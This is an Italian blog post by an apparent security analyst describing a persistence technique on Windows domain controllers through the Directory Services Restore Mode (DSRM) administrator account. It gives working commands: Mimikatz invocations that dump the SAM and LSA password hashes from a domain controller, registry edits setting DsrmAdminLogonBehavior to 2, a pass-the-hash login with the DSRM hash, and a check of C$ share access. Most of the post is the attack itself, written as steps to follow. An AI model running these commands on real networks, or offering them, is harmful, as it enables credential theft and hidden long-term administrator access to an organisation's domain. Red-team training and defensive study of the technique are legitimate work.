Andrea Bruschi, Cyber Security Analyst

Persistence, DSRM

Published by Andy

DSRM

DSRM sta per Directory Services Restore Mode. E' un'opzione di avvio in modalità sicura per i controller del dominio Windows Server. DSRM consente all'amministratore di riparare o recuperare per riparare o ripristinare un database Active Directory. Quando si fa il setup di AD, la procedura guidata di installazione richiede all'amministratore di scegliere una password DSRM. Questa password fornisce all'amministratore una backdoor al database nel caso in cui qualcosa vada storto, ma non fornisce l'accesso al dominio o ad alcun servizio. Nel caso in cui una password DSRM venga dimenticata, può essere modificata utilizzando lo strumento a riga di comando NTDSUtil.

In ogni Domain Controller c'è un amministratore locale chiamato "Administrator" la cui password è proprio la password DSRM. Questa password è richiesta quando una macchina è promossa a Domain Controller, è bene tenere presente che raramente viene cambiata. Dopo aver modificato la configurazione del DC, è possibile passare NTLM hash di questo utente per accedere al DC stesso.

Dump della password DSRM (richiede privilegi DA):

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername domain-dc

Compara l'hash di Administrator con l'hash di Administrator estratto col comando seguente:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername domain-dc

Probabilmente saranno differenti. Dal momento che l'hash di DSRM è l'amministratore locale del DC possiamo utilizzare pass the hash per autenticarci. Il problema è che il logon per DSRM è disabilitato e deve essere riconfigurato prima di poter utilizzare l'hash estratto.

Enter-PSSession -Computername domain-dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose

Se la proprietà esiste già utilizzare il comando seguente:

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose

Un anno dopo che abbiamo estratto l'hash e modificati il logon behavior possiamo loggarci nuovamente con il comando seguente:

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:domain-dc /user:Administrator /ntlm:hash_DSRM /run:powershell.exe"'

Verificare accesso DC:

ls \\domain-dc\C$
This article is my 8th oldest. It is 304 words long